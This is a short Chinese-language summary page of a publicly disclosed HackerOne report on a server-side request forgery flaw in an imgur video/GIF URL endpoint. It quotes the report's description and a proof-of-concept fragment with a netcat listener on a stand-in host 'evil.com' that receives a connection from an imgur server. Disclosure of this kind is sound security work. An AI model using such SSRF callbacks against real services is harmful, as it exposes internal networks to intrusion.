SSRF in https://imgur.com/vidgif/url
该报告还没有中文解读。
原文摘录
摘自原文（6580 字符中的一小部分）
https://imgur.com/vidgif/url endpoint is vulnerable to a SSRF vulnerability which allows an attacker to craft connections originating from imgur servers to any destination on the internet and imgur internal network and craft outgoing UDP-packets / telnet-based protocol sessions (for example, to …
原文中的代码
evil.com:$ nc -v -l 11111 Connection from [54.227.37.234] port 11111 [tcp/*] accepted (family 2, sport 36136) SSH-2.0-libssh2_1.4.2
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Imgur 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @aesteral · 版权归作者与 Imgur 所有